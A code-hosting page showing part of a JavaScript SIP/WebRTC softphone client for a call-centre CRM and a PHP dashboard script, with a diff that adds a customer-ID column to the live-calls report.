| 1716 | // should be enum: connecting, connected, terminating, terminated | ||
| 1717 | //TODO | ||
| 1718 | btnRegister = b_connected || b_connecting; | ||
| 1719 | btnUnRegister = !b_connected && !b_connecting; | ||
| 1720 | btnCall = !(b_connected && tsk_utils_have_webrtc() && tsk_utils_have_stream()); | ||
| 1721 | btnHangUp = !oSipSessionCall; | ||
| 1722 | } | ||
| 1723 | |||
| 1724 | function uiVideoDisplayEvent(b_local, b_added) { | ||
| 1725 | return false;//TODO | ||
| 1726 | var o_elt_video = b_local ? videoLocal : videoRemote; | ||
| 1727 | |||
| 1728 | if (b_added) { | ||
| 1729 | if (SIPml.isWebRtc4AllSupported()) { | ||
| 1730 | if (b_local) { | ||
| 1731 | if (WebRtc4all_GetDisplayLocal()) WebRtc4all_GetDisplayLocal().style.visibility = "visible"; | ||
| 1732 | if (WebRtc4all_GetDisplayLocalScreencast()) WebRtc4all_GetDisplayLocalScreencast().style.visibility = "visible"; | ||
| 1733 | //videoLocal.style.visibility = "visible"; | ||
| 1734 | //viewLocalScreencast.style.visibility = "visible"; | ||
| 1735 | //if (WebRtc4all_GetDisplayLocal()) WebRtc4all_GetDisplayLocal().hidden = false; | ||
| 1736 | //if (WebRtc4all_GetDisplayLocalScreencast()) WebRtc4all_GetDisplayLocalScreencast().hidden = false; | ||
| 1737 | } | ||
| 1738 | else { | ||
| 1739 | if (WebRtc4all_GetDisplayRemote()) WebRtc4all_GetDisplayRemote().style.visibility = "visible"; | ||
| 1740 | //videoRemote.style.visibility = "visible"; | ||
| 1741 | //if (WebRtc4all_GetDisplayRemote()) WebRtc4all_GetDisplayRemote().hidden = false; | ||
| 1742 | } | ||
| 1743 | } | ||
| 1744 | else { | ||
| 1745 | o_elt_video.style.opacity = 1; | ||
| 1746 | } | ||
| 1747 | uiVideoDisplayShowHide(true); | ||
| 1748 | } | ||
| 1749 | else { | ||
| 1750 | if (SIPml.isWebRtc4AllSupported()) { | ||
| 1751 | if (b_local) { | ||
| 1752 | if (WebRtc4all_GetDisplayLocal()) WebRtc4all_GetDisplayLocal().style.visibility = "hidden"; | ||
| 1753 | if (WebRtc4all_GetDisplayLocalScreencast()) WebRtc4all_GetDisplayLocalScreencast().style.visibility = "hidden"; | ||
| 1754 | //videoLocal.style.visibility = "hidden"; | ||
| 1755 | //viewLocalScreencast.style.visibility = "hidden"; | ||
| 1756 | //if (WebRtc4all_GetDisplayLocal()) WebRtc4all_GetDisplayLocal().hidden = true; | ||
| 1757 | //if (WebRtc4all_GetDisplayLocalScreencast()) WebRtc4all_GetDisplayLocalScreencast().hidden = true; | ||
| 1758 | } | ||
| 1759 | else { | ||
| 1760 | if (WebRtc4all_GetDisplayRemote()) WebRtc4all_GetDisplayRemote().style.visibility = "hidden"; | ||
| 1761 | //videoRemote.style.visibility = "hidden"; | ||
| 1762 | //if (WebRtc4all_GetDisplayRemote()) WebRtc4all_GetDisplayRemote().hidden = true; | ||
| 1763 | } | ||
| 1764 | } | ||
| 1765 | else{ | ||
| 1766 | o_elt_video.style.opacity = 0; | ||
| 1767 | } | ||
| 1768 | fullScreen(false); | ||
| 1769 | } | ||
| 1770 | } | ||
| 1771 | |||
| 1772 | function uiVideoDisplayShowHide(b_show) { | ||
| 1773 | //TODO | ||
| 1774 | if (b_show) { | ||
| 1775 | |||
| 1776 | } | ||
| 1777 | else { | ||
| 1778 | |||
| 1779 | } | ||
| 1780 | btnFullScreen.disabled = !b_show; | ||
| 1781 | } | ||
| 1782 | |||
| 1783 | function uiCallTerminated(s_description){ | ||
| 1784 | |||
| 1785 | btnCall = false; | ||
| 1786 | btnHangUp = true; | ||
| 1787 | |||
| 1788 | oSipSessionCall = null; | ||
| 1789 | |||
| 1790 | stopRingbackTone(); | ||
| 1791 | stopRingTone(); | ||
| 1792 | |||
| 1793 | txtCallStatus = "<i>" + s_description + "</i>"; | ||
| 1794 | uiVideoDisplayShowHide(false); | ||
| 1795 | //divCallOptions.style.opacity = 0; | ||
| 1796 | |||
| 1797 | if (oNotifICall) { | ||
| 1798 | oNotifICall.cancel(); | ||
| 1799 | oNotifICall = null; | ||
| 1800 | } | ||
| 1801 | |||
| 1802 | uiVideoDisplayEvent(true, false); | ||
| 1803 | uiVideoDisplayEvent(false, false); | ||
| 1804 | |||
| 1805 | setTimeout(function () { if (!oSipSessionCall) txtCallStatus = ''; }, 2500); | ||
| 1806 | |||
| 1807 | if(hangupgrowl)$.gritter.remove(hangupgrowl, {fade: true,speed: 'slow'}); | ||
| 1808 | } | ||
| 1809 | |||
| 1810 | // Callback function for SIP Stacks | ||
| 1811 | function onSipEventStack(e /*SIPml.Stack.Event*/) { | ||
| 1812 | tsk_utils_log_info('==stack event = ' + e.type); | ||
| 1813 | switch (e.type) { | ||
| 1814 | case 'started': | ||
| 1815 | { | ||
| 1816 | // catch exception for IE (DOM not ready) | ||
| 1817 | try { | ||
| 1818 | // LogIn (REGISTER) as soon as the stack finish starting | ||
| 1819 | oSipSessionRegister = this.newSession('register', { | ||
| 1820 | expires: 200, | ||
| 1821 | events_listener: { events: '*', listener: onSipEventSession }, | ||
| 1822 | sip_caps: [ | ||
| 1823 | { name: '+g.oma.sip-im', value: null }, | ||
| 1824 | { name: '+audio', value: null }, | ||
| 1825 | { name: 'language', value: '\"en,fr\"' } | ||
| 1826 | ] | ||
| 1827 | }); | ||
| 1828 | oSipSessionRegister.register(); | ||
| 1829 | } | ||
| 1830 | catch (e) { | ||
| 1831 | txtRegStatus = txtRegStatus = "<b>1:" + e + "</b>"; | ||
| 1832 | simpleNotification("success","topRight",txtRegStatus); | ||
| 1833 | btnRegister = false; | ||
| 1834 | } | ||
| 1835 | break; | ||
| 1836 | } | ||
| 1837 | case 'stopping': case 'stopped': case 'failed_to_start': case 'failed_to_stop': | ||
| 1838 | { | ||
| 1839 | var bFailure = (e.type == 'failed_to_start') || (e.type == 'failed_to_stop'); | ||
| 1840 | oSipStack = null; | ||
| 1841 | oSipSessionRegister = null; | ||
| 1842 | oSipSessionCall = null; | ||
| 1843 | |||
| 1844 | uiOnConnectionEvent(false, false); | ||
| 1845 | |||
| 1846 | stopRingbackTone(); | ||
| 1847 | stopRingTone(); | ||
| 1848 | |||
| 1849 | uiVideoDisplayShowHide(false); | ||
| 1850 | //divCallOptions.style.opacity = 0; | ||
| 1851 | |||
| 1852 | txtCallStatus = ''; | ||
| 1853 | if(loggedin) | ||
| 1854 | { | ||
| 1855 | txtRegStatus = bFailure ? "<i>Disconnected: <b>" + e.description + "</b></i>" : "<i>Disconnected</i>"; | ||
| 1856 | //simpleNotification("warning","topRight",txtRegStatus+", Retrying in 10 sec..."); | ||
| 1857 | //setTimeout(sipRegister,10*1000);//TODO dont retry too many times, idleapp instead | ||
| 1858 | document.location='/logout'; | ||
| 1859 | } | ||
| 1860 | else | ||
| 1861 | { | ||
| 1862 | if(e.type=='stopped')doLogout(1); | ||
| 1863 | } | ||
| 1864 | break; | ||
| 1865 | } | ||
| 1866 | |||
| 1867 | case 'i_new_call': | ||
| 1868 | { | ||
| 1869 | if (oSipSessionCall) { | ||
| 1870 | // do not accept the incoming call if we're already 'in call' | ||
| 1871 | e.newSession.hangup(); // comment this line for multi-line support | ||
| 1872 | } | ||
| 1873 | else { | ||
| 1874 | oSipSessionCall = e.newSession; | ||
| 1875 | |||
| 1876 | btnCall = 'Answer'; | ||
| 1877 | btnHangUp = 'Reject'; | ||
| 1878 | btnCall = false; | ||
| 1879 | btnHangUp = false; | ||
| 1880 | |||
| 1881 | var sRemoteNumber = (oSipSessionCall.getRemoteFriendlyName() || 'unknown'); | ||
| 1882 | |||
| 1883 | if(sRemoteNumber=='1000'+kstychAppObject['user']['sipid']) | ||
| 1884 | { | ||
| 1885 | //auto answer if own conf | ||
| 1886 | var dialerConnection=kGetDData("D","connection"); | ||
| 1887 | dialerConnection['connected']=1; | ||
| 1888 | updateDialerState("dialer","connection",dialerConnection); | ||
| 1889 | sipAnswer(); | ||
| 1890 | } | ||
| 1891 | else | ||
| 1892 | { | ||
| 1893 | startRingTone(); | ||
| 1894 | txtCallStatus = "<i><a href=# onclick='sipAnswer();return false;'>Incoming call Click Here To Answer</a></i> from [<b>" + sRemoteNumber + "</b>]"; | ||
| 1895 | //showNotifICall(sRemoteNumber); | ||
| 1896 | answergrowl=growlSNotify("Incoming Call",txtCallStatus,"top-right"); | ||
| 1897 | hangupgrowl=growlSNotify("Incoming Call","<a href=# onclick='sipHangUp();return false;' style='color:white'>Click here to hangup</a>","top-right"); | ||
| 1898 | } | ||
| 1899 | //showNotifICall(sRemoteNumber); | ||
| 1900 | } | ||
| 1901 | break; | ||
| 1902 | } | ||
| 1903 | |||
| 1904 | case 'm_permission_requested': | ||
| 1905 | { | ||
| 1906 | //document.getElementById('divNavbarInner').setAttribute('class', 'navbar-inner-red'); | ||
| 1907 | break; | ||
| 1908 | } | ||
| 1909 | case 'm_permission_accepted': | ||
| 1910 | case 'm_permission_refused': | ||
| 1911 | { | ||
| 1912 | //document.getElementById('divNavbarInner').setAttribute('class', 'navbar-inner'); | ||
| 1913 | if(e.type == 'm_permission_refused'){ | ||
| 1914 | uiCallTerminated('Media stream permission denied'); | ||
| 1915 | } | ||
| 1916 | break; | ||
| 1917 | } | ||
| 1918 | |||
| 1919 | case 'starting': default: break; | ||
| 1920 | } | ||
| 1921 | }; | ||
| 1922 | |||
| 1923 | // Callback function for SIP sessions (INVITE, REGISTER, MESSAGE...) | ||
| 1924 | function onSipEventSession(e /* SIPml.Session.Event */) { | ||
| 1925 | tsk_utils_log_info('==session event = ' + e.type); | ||
| 1926 | |||
| 1927 | switch (e.type) { | ||
| 1928 | case 'connecting': case 'connected': | ||
| 1929 | { | ||
| 1930 | var bConnected = (e.type == 'connected'); | ||
| 1931 | if (e.session == oSipSessionRegister) { | ||
| 1932 | uiOnConnectionEvent(bConnected, !bConnected); | ||
| 1933 | txtRegStatus = "<i>" + e.description + "</i>"; | ||
| 1934 | if(bConnected){/*simpleNotification("success","topRight","Connected");*//*$("#phonetopbar").show();*/kDialerConnected();} | ||
| 1935 | } | ||
| 1936 | else if (e.session == oSipSessionCall) { | ||
| 1937 | btnHangUp = 'HangUp'; | ||
| 1938 | btnCall = true; | ||
| 1939 | btnHangUp = false; | ||
| 1940 | btnTransfer = false; | ||
| 1941 | |||
| 1942 | if (bConnected) { | ||
| 1943 | stopRingbackTone(); | ||
| 1944 | stopRingTone(); | ||
| 1945 | |||
| 1946 | if (oNotifICall) { | ||
| 1947 | oNotifICall.cancel(); | ||
| 1948 | oNotifICall = null; | ||
| 1949 | } | ||
| 1950 | } | ||
| 1951 | |||
| 1952 | txtCallStatus = "<i>" + e.description + "</i>"; | ||
| 1953 | //simpleNotification("success","topRight",txtCallStatus); | ||
| 1954 | //divCallOptions.style.opacity = bConnected ? 1 : 0; | ||
| 1955 | |||
| 1956 | if (SIPml.isWebRtc4AllSupported()) { // IE don't provide stream callback | ||
| 1957 | uiVideoDisplayEvent(true, true); | ||
| 1958 | uiVideoDisplayEvent(false, true); | ||
| 1959 | } | ||
| 1960 | } | ||
| 1961 | break; | ||
| 1962 | } // 'connecting' | 'connected' | ||
| 1963 | case 'terminating': case 'terminated': | ||
| 1964 | { | ||
| 1965 | if (e.session == oSipSessionRegister) { | ||
| 1966 | uiOnConnectionEvent(false, false); | ||
| 1967 | |||
| 1968 | oSipSessionCall = null; | ||
| 1969 | oSipSessionRegister = null; | ||
| 1970 | |||
| 1971 | txtRegStatus = "<i>" + e.description + "</i>"; | ||
| 1972 | //simpleNotification("warning","topRight",txtRegStatus); | ||
| 1973 | } | ||
| 1974 | else if (e.session == oSipSessionCall) { | ||
| 1975 | uiCallTerminated(e.description); | ||
| 1976 | } | ||
| 1977 | break; | ||
| 1978 | } // 'terminating' | 'terminated' | ||
| 1979 | |||
| 1980 | case 'm_stream_video_local_added': | ||
| 1981 | { | ||
| 1982 | if (e.session == oSipSessionCall) { | ||
| 1983 | uiVideoDisplayEvent(true, true); | ||
| 1984 | } | ||
| 1985 | break; | ||
| 1986 | } | ||
| 1987 | case 'm_stream_video_local_removed': | ||
| 1988 | { | ||
| 1989 | if (e.session == oSipSessionCall) { | ||
| 1990 | uiVideoDisplayEvent(true, false); | ||
| 1991 | } | ||
| 1992 | break; | ||
| 1993 | } | ||
| 1994 | case 'm_stream_video_remote_added': | ||
| 1995 | { | ||
| 1996 | if (e.session == oSipSessionCall) { | ||
| 1997 | uiVideoDisplayEvent(false, true); | ||
| 1998 | } | ||
| 1999 | break; | ||
| 2000 | } | ||
| 2001 | case 'm_stream_video_remote_removed': | ||
| 2002 | { | ||
| 2003 | if (e.session == oSipSessionCall) { | ||
| 2004 | uiVideoDisplayEvent(false, false); | ||
| 2005 | } | ||
| 2006 | break; | ||
| 2007 | } | ||
| 2008 | |||
| 2009 | case 'm_stream_audio_local_added': | ||
| 2010 | case 'm_stream_audio_local_removed': | ||
| 2011 | case 'm_stream_audio_remote_added': | ||
| 2012 | case 'm_stream_audio_remote_removed': | ||
| 2013 | { | ||
| 2014 | break; | ||
| 2015 | } | ||
| 2016 | |||
| 2017 | case 'i_ect_new_call': | ||
| 2018 | { | ||
| 2019 | oSipSessionTransferCall = e.session; | ||
| 2020 | break; | ||
| 2021 | } | ||
| 2022 | |||
| 2023 | case 'i_ao_request': | ||
| 2024 | { | ||
| 2025 | if(e.session == oSipSessionCall){ | ||
| 2026 | var iSipResponseCode = e.getSipResponseCode(); | ||
| 2027 | if (iSipResponseCode == 180 || iSipResponseCode == 183) { | ||
| 2028 | startRingbackTone(); | ||
| 2029 | txtCallStatus = '<i>Remote ringing...</i>'; | ||
| 2030 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2031 | } | ||
| 2032 | } | ||
| 2033 | break; | ||
| 2034 | } | ||
| 2035 | |||
| 2036 | case 'm_early_media': | ||
| 2037 | { | ||
| 2038 | if(e.session == oSipSessionCall){ | ||
| 2039 | stopRingbackTone(); | ||
| 2040 | stopRingTone(); | ||
| 2041 | txtCallStatus = '<i>Early media started</i>'; | ||
| 2042 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2043 | } | ||
| 2044 | break; | ||
| 2045 | } | ||
| 2046 | |||
| 2047 | case 'm_local_hold_ok': | ||
| 2048 | { | ||
| 2049 | if(e.session == oSipSessionCall){ | ||
| 2050 | if (oSipSessionCall.bTransfering) { | ||
| 2051 | oSipSessionCall.bTransfering = false; | ||
| 2052 | // this.AVSession.TransferCall(this.transferUri); | ||
| 2053 | } | ||
| 2054 | btnHoldResume = false; | ||
| 2055 | txtCallStatus = '<i>Call placed on hold</i>'; | ||
| 2056 | oSipSessionCall.bHeld = true; | ||
| 2057 | //simpleNotification("success","topRight",txtCallStatus); | ||
| 2058 | } | ||
| 2059 | break; | ||
| 2060 | } | ||
| 2061 | case 'm_local_hold_nok': | ||
| 2062 | { | ||
| 2063 | if(e.session == oSipSessionCall){ | ||
| 2064 | oSipSessionCall.bTransfering = false; | ||
| 2065 | btnHoldResume = false; | ||
| 2066 | txtCallStatus = '<i>Failed to place remote party on hold</i>'; | ||
| 2067 | //simpleNotification("error","topRight",txtCallStatus); | ||
| 2068 | } | ||
| 2069 | break; | ||
| 2070 | } | ||
| 2071 | case 'm_local_resume_ok': | ||
| 2072 | { | ||
| 2073 | if(e.session == oSipSessionCall){ | ||
| 2074 | oSipSessionCall.bTransfering = false; | ||
| 2075 | btnHoldResume = false; | ||
| 2076 | txtCallStatus = '<i>Call taken off hold</i>'; | ||
| 2077 | oSipSessionCall.bHeld = false; | ||
| 2078 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2079 | |||
| 2080 | if (SIPml.isWebRtc4AllSupported()) { // IE don't provide stream callback yet | ||
| 2081 | uiVideoDisplayEvent(true, true); | ||
| 2082 | uiVideoDisplayEvent(false, true); | ||
| 2083 | } | ||
| 2084 | } | ||
| 2085 | break; | ||
| 2086 | } | ||
| 2087 | case 'm_local_resume_nok': | ||
| 2088 | { | ||
| 2089 | if(e.session == oSipSessionCall){ | ||
| 2090 | oSipSessionCall.bTransfering = false; | ||
| 2091 | btnHoldResume = false; | ||
| 2092 | txtCallStatus = '<i>Failed to unhold call</i>'; | ||
| 2093 | //simpleNotification("error","topRight",txtCallStatus); | ||
| 2094 | } | ||
| 2095 | break; | ||
| 2096 | } | ||
| 2097 | case 'm_remote_hold': | ||
| 2098 | { | ||
| 2099 | if(e.session == oSipSessionCall){ | ||
| 2100 | txtCallStatus = '<i>Placed on hold by remote party</i>'; | ||
| 2101 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2102 | } | ||
| 2103 | break; | ||
| 2104 | } | ||
| 2105 | case 'm_remote_resume': | ||
| 2106 | { | ||
| 2107 | if(e.session == oSipSessionCall){ | ||
| 2108 | txtCallStatus = '<i>Taken off hold by remote party</i>'; | ||
| 2109 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2110 | } | ||
| 2111 | break; | ||
| 2112 | } | ||
| 2113 | case 'm_bfcp_info': | ||
| 2114 | { | ||
| 2115 | if(e.session == oSipSessionCall){ | ||
| 2116 | txtCallStatus.innerHTML = 'BFCP Info: <i>'+ e.description +'</i>'; | ||
| 2117 | } | ||
| 2118 | break; | ||
| 2119 | } | ||
| 2120 | case 'o_ect_trying': | ||
| 2121 | { | ||
| 2122 | if(e.session == oSipSessionCall){ | ||
| 2123 | txtCallStatus = '<i>Call transfer in progress...</i>'; | ||
| 2124 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2125 | } | ||
| 2126 | break; | ||
| 2127 | } | ||
| 2128 | case 'o_ect_accepted': | ||
| 2129 | { | ||
| 2130 | if(e.session == oSipSessionCall){ | ||
| 2131 | txtCallStatus = '<i>Call transfer accepted</i>'; | ||
| 2132 | //simpleNotification("success","topRight",txtCallStatus); | ||
| 2133 | } | ||
| 2134 | break; | ||
| 2135 | } | ||
| 2136 | case 'o_ect_completed': | ||
| 2137 | case 'i_ect_completed': | ||
| 2138 | { | ||
| 2139 | if(e.session == oSipSessionCall){ | ||
| 2140 | txtCallStatus = '<i>Call transfer completed</i>'; | ||
| 2141 | //simpleNotification("success","topRight",txtCallStatus); | ||
| 2142 | btnTransfer = false; | ||
| 2143 | if (oSipSessionTransferCall) { | ||
| 2144 | oSipSessionCall = oSipSessionTransferCall; | ||
| 2145 | } | ||
| 2146 | oSipSessionTransferCall = null; | ||
| 2147 | } | ||
| 2148 | break; | ||
| 2149 | } | ||
| 2150 | case 'o_ect_failed': | ||
| 2151 | case 'i_ect_failed': | ||
| 2152 | { | ||
| 2153 | if(e.session == oSipSessionCall){ | ||
| 2154 | txtCallStatus = '<i>Call transfer failed</i>'; | ||
| 2155 | //simpleNotification("error","topRight",txtCallStatus); | ||
| 2156 | btnTransfer = false; | ||
| 2157 | } | ||
| 2158 | break; | ||
| 2159 | } | ||
| 2160 | case 'o_ect_notify': | ||
| 2161 | case 'i_ect_notify': | ||
| 2162 | { | ||
| 2163 | if(e.session == oSipSessionCall){ | ||
| 2164 | txtCallStatus = "<i>Call Transfer: <b>" + e.getSipResponseCode() + " " + e.description + "</b></i>"; | ||
| 2165 | //simpleNotification("success","topRight",txtCallStatus); | ||
| 2166 | if (e.getSipResponseCode() >= 300) { | ||
| 2167 | if (oSipSessionCall.bHeld) { | ||
| 2168 | oSipSessionCall.resume(); | ||
| 2169 | } | ||
| 2170 | btnTransfer = false; | ||
| 2171 | } | ||
| 2172 | } | ||
| 2173 | break; | ||
| 2174 | } | ||
| 2175 | case 'i_ect_requested': | ||
| 2176 | { | ||
| 2177 | if(e.session == oSipSessionCall){ | ||
| 2178 | var s_message = "Do you accept call transfer to [" + e.getTransferDestinationFriendlyName() + "]?";//FIXME | ||
| 2179 | if (confirm(s_message)) { | ||
| 2180 | txtCallStatus = "<i>Call transfer in progress...</i>"; | ||
| 2181 | //simpleNotification("warning","topRight",txtCallStatus); | ||
| 2182 | oSipSessionCall.acceptTransfer(); | ||
| 2183 | break; | ||
| 2184 | } | ||
| 2185 | oSipSessionCall.rejectTransfer(); | ||
| 2186 | } | ||
| 2187 | break; | ||
| 2188 | } | ||
| 2189 | |||
| 2190 | } | ||
| 2191 | } | ||
| 2192 | |||
| 2193 | |||
| 2194 | function dialerSipMsg(omsg) | ||
| 2195 | { | ||
| 2196 | try | ||
| 2197 | { | ||
| 2198 | if(omsg.ao_headers[6].s_name=='kstych-data') | ||
| 2199 | { | ||
| 2200 | var vparts=omsg.ao_headers[6].s_value.split("|"); | ||
| 2201 | |||
| 2202 | vparts[1]=atob(vparts[1]); | ||
| 2203 | vparts[2]=atob(vparts[2]); | ||
| 2204 | |||
| 2205 | if(vparts[0]=="chat")incomingChat(vparts[1],vparts[2],vparts[3]); | ||
| 2206 | else if(vparts[0]=="presence")incomingPresense(vparts[1],vparts[2],vparts[3]); | ||
| 2207 | else if(vparts[0]=="wallreload")incomingwallReload(vparts[1],vparts[2],vparts[3]); | ||
| 2208 | else if(vparts[0]=="liveconf")incomingLiveconf(vparts[1],vparts[2],vparts[3]); | ||
| 2209 | else if(vparts[0]=="notify")incomingNotification(vparts[1],vparts[2],vparts[3]); | ||
| 2210 | else if(vparts[0]=="popupalert")incomingPopupAlert(vparts[1],vparts[2],vparts[3]); | ||
| 2211 | |||
| 2212 | else if(vparts[0]=="incomingCall")incomingCall(vparts[1],vparts[2],vparts[3]); | ||
| 2213 | else if(vparts[0]=="dialerUI")dialerUIUpdate(vparts[1],vparts[2],vparts[3]); | ||
| 2214 | |||
| 2215 | else if(vparts[0]=="adminCommand")adminCommand(vparts[1],vparts[2],vparts[3]); | ||
| 2216 | } | ||
| 2217 | //if(omsg.ao_headers.) | ||
| 2218 | //window.console.log(omsg.ao_headers[6]); | ||
| 2219 | } | ||
| 2220 | catch(e){} | ||
| 2221 | } |
| ... | @@ -38,11 +38,12 @@ $alist=array(); | ... | @@ -38,11 +38,12 @@ $alist=array(); |
| 38 | $sipidsfound=array(); | 38 | $sipidsfound=array(); |
| 39 | 39 | ||
| 40 | $userarr=array();$i=1; | 40 | $userarr=array();$i=1; |
| 41 | $reporthead=array("#","ID","User","Name","Campaign","Station","Status","CRMId","Number","Type","State","Duration"); | 41 | $reporthead=array("#","ID","User","Name","Campaign","Station","Status","CRMId","Number","Type","State","Duration","Cust_ID"); |
| 42 | $reportarray=array(); | 42 | $reportarray=array(); |
| 43 | foreach($newcalls as $newcall) | 43 | foreach($newcalls as $newcall) |
| 44 | { | 44 | { |
| 45 | $tcall=CRMCall::where('dialline_id','=',$newcall->id)->orderBy('id','DESC')->first(); | 45 | $tcall=CRMCall::where('dialline_id','=',$newcall->id)->orderBy('id','DESC')->first(); |
| 46 | $cust_id=DB::table('records')->select('clientcode','id','currentstatus','legalstatus')->where('id','=',$tcall->crm_id)->first(); | ||
| 46 | $un="";$uid="";$us=""; | 47 | $un="";$uid="";$us=""; |
| 47 | if($tcall->user_id>0) | 48 | if($tcall->user_id>0) |
| 48 | { | 49 | { |
| ... | @@ -78,6 +79,7 @@ foreach($newcalls as $newcall) | ... | @@ -78,6 +79,7 @@ foreach($newcalls as $newcall) |
| 78 | $obj["Type"]=$tcall->type; | 79 | $obj["Type"]=$tcall->type; |
| 79 | $obj["State"]=$tcall->state; | 80 | $obj["State"]=$tcall->state; |
| 80 | $obj["Duration"]=$nowts-strtotime($tcall->created_at); | 81 | $obj["Duration"]=$nowts-strtotime($tcall->created_at); |
| 82 | $obj["Cust_ID"]=$cust_id->clientcode; | ||
| 81 | 83 | ||
| 82 | //$reportarray[$newcall->id]=$obj; | 84 | //$reportarray[$newcall->id]=$obj; |
| 83 | if(!empty($tcall->sipid_id))$sipidsfound[]=$tcall->sipid_id; | 85 | if(!empty($tcall->sipid_id))$sipidsfound[]=$tcall->sipid_id; |
| ... | @@ -122,6 +124,8 @@ foreach($sipids as $sipid) | ... | @@ -122,6 +124,8 @@ foreach($sipids as $sipid) |
| 122 | /*if(in_array($sipid->id,$sipidsfound)) | 124 | /*if(in_array($sipid->id,$sipidsfound)) |
| 123 | {*/ | 125 | {*/ |
| 124 | $clidata=json_decode($sipid->clients,true); | 126 | $clidata=json_decode($sipid->clients,true); |
| 127 | $tcall=CRMCall::where('user_id','=',$sipid->user)->orderBy('id','DESC')->first(); | ||
| 128 | $cust_id=DB::table('records')->select('clientcode','id','currentstatus','legalstatus')->where('id','=',$tcall->crm_id)->first(); | ||
| 125 | 129 | ||
| 126 | $tuser=User::find($sipid->user); | 130 | $tuser=User::find($sipid->user); |
| 127 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | 131 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); |
| ... | @@ -135,11 +139,12 @@ foreach($sipids as $sipid) | ... | @@ -135,11 +139,12 @@ foreach($sipids as $sipid) |
| 135 | $obj["Campaign"]=substr($clidata['r'],0,20); | 139 | $obj["Campaign"]=substr($clidata['r'],0,20); |
| 136 | $obj["Station"]=$sipid->id.userSpyStr($sipid->id); | 140 | $obj["Station"]=$sipid->id.userSpyStr($sipid->id); |
| 137 | $obj["Status"]="$stend[0]-$stend[1]"; | 141 | $obj["Status"]="$stend[0]-$stend[1]"; |
| 138 | $obj["CRMId"]=""; | 142 | $obj["CRMId"]=$tcall->crm_id; |
| 139 | $obj["Number"]=""; | 143 | $obj["Number"]=$tcall->number; |
| 140 | $obj["Type"]=""; | 144 | $obj["Type"]=""; |
| 141 | $obj["State"]=""; | 145 | $obj["State"]=""; |
| 142 | $obj["Duration"]=""; | 146 | $obj["Duration"]=""; |
| 147 | $obj["Cust_ID"]=$cust_id->clientcode; | ||
| 143 | 148 | ||
| 144 | $reportarray[]=$obj; | 149 | $reportarray[]=$obj; |
| 145 | 150 | ... | ... |
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\Dialline; | ||
| 4 | use App\Models\Sipid; | ||
| 5 | use App\Models\User; | ||
| 6 | use App\Models\UserLog; | ||
| 7 | use App\Models\Kqueue; | ||
| 8 | use App\Jobs\KHRMSLib; | ||
| 9 | |||
| 10 | $wakka = new KHRMSLib(); | ||
| 11 | $dashboarduser=Auth::user(); | ||
| 12 | $nowts=time(); | ||
| 13 | $chart=array('ts'=>date('H:i:s',time()-($dashboarduser->timezone*60)),'Online'=>0,'NoCall'=>0,'InCall'=>0,'CallWait'=>0,'CmdList'=>0); | ||
| 14 | |||
| 15 | if($dashboarduser->usertype != 'Admin') | ||
| 16 | //if(!$dashboarduser->moduleACL("Dialer",false,false,true)) | ||
| 17 | { | ||
| 18 | $allusers=User::where(function ($query) use($dashboarduser) { | ||
| 19 | $query->where('supervisor','=',$dashboarduser->username) | ||
| 20 | ->orWhere('lteam2','=',$dashboarduser->username) | ||
| 21 | ->orWhere('lteam','=',$dashboarduser->username) | ||
| 22 | ->orWhere('id','=',$dashboarduser->id); | ||
| 23 | }) | ||
| 24 | ->where(function ($query) { | ||
| 25 | $query->where('status', '=', 'Active'); | ||
| 26 | })->get(); | ||
| 27 | } | ||
| 28 | else | ||
| 29 | { | ||
| 30 | $allusers=User::where("status","=","Active")->get(); | ||
| 31 | } | ||
| 32 | foreach($allusers as $tuser)$uidlist[]=$tuser->id; | ||
| 33 | |||
| 34 | $newcalls=Dialline::where('status','!=','Free')->where('conf','=','')->orderBy('updated_at')->get(); | ||
| 35 | $acalls=Dialline::where('status','!=','Free')->where('conf','!=','')->orderBy('updated_at')->get(); | ||
| 36 | $sipids=Sipid::whereIn("user",$uidlist)->where("status","=","1")->get(); | ||
| 37 | $alist=array(); | ||
| 38 | $sipidsfound=array(); | ||
| 39 | |||
| 40 | $userarr=array();$i=1; | ||
| 41 | $reporthead=array("#","ID","User","Name","Campaign","Station","Status","CRMId","Number","Type","State","Duration","Cust_ID"); | ||
| 42 | $reportarray=array(); | ||
| 43 | foreach($newcalls as $newcall) | ||
| 44 | { | ||
| 45 | $tcall=CRMCall::where('dialline_id','=',$newcall->id)->orderBy('id','DESC')->first(); | ||
| 46 | $cust_id=DB::table('records')->select('clientcode','id','currentstatus','legalstatus')->where('id','=',$tcall->crm_id)->first(); | ||
| 47 | $un="";$uid="";$us=""; | ||
| 48 | if($tcall->user_id>0) | ||
| 49 | { | ||
| 50 | $tuser=User::find($tcall->user_id); | ||
| 51 | $un=$tuser->username; | ||
| 52 | $uname=$tuser->fullname; | ||
| 53 | $uid=userchatbox($tuser).$tuser->id; | ||
| 54 | |||
| 55 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | ||
| 56 | $stend=$userlog->getLastStatus(); | ||
| 57 | $us="$stend[0]-$stend[1]"; | ||
| 58 | |||
| 59 | $chart['Online']++; | ||
| 60 | $chart['InCall']++; | ||
| 61 | } | ||
| 62 | else $chart['CallWait']++; | ||
| 63 | |||
| 64 | if($tcall->state == 'DialEnd') | ||
| 65 | { | ||
| 66 | $us = "Talk"; | ||
| 67 | } | ||
| 68 | |||
| 69 | $obj=array(); | ||
| 70 | $obj["#"]=$i++; | ||
| 71 | $obj["ID"]=$uid; | ||
| 72 | $obj["User"]=$un; | ||
| 73 | $obj["Name"]=$uname; | ||
| 74 | $obj["Campaign"]=$tcall->client; | ||
| 75 | $obj["Station"]=$tcall->sipid_id.userSpyStr($tcall->sipid_id); | ||
| 76 | $obj["Status"]=$us; | ||
| 77 | $obj["CRMId"]=$tcall->crm_id; | ||
| 78 | $obj["Number"]=$tcall->number; | ||
| 79 | $obj["Type"]=$tcall->type; | ||
| 80 | $obj["State"]=$tcall->state; | ||
| 81 | $obj["Duration"]=$nowts-strtotime($tcall->created_at); | ||
| 82 | $obj["Cust_ID"]=$cust_id->clientcode; | ||
